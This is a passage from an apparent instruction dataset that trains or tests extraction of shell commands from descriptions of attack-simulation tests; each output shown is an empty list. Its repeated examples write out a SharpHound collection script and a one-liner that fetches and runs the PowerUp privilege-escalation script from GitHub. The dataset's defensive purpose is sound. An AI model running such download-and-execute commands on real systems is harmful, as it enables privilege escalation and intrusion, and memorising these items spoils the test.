\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Utilize Get-Process PowerShell cmdlet to identify processes.\n\nUpon successful execution, powershell.exe will execute Get-Process to list processes. Output will be via stdout. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Performs pheripheral device discovery utilizing fsutil to list all drives.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    List opened files by user\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes outdated PowerShell Version 2 which does not support security features like AMSI. By default the atomic will attempt to execute the cmdlet Invoke-Mimikatz whether it exists or not, as this cmdlet will be blocked by AMSI when active.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Creates a new user in Linux and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test restarts a FreeBSD system using `poweroff`.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n        Simulate DarkGate malware's second stage by writing a VBscript to disk directly from the command prompt then executing it.\n    The script will execute 'whoami' then exit.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
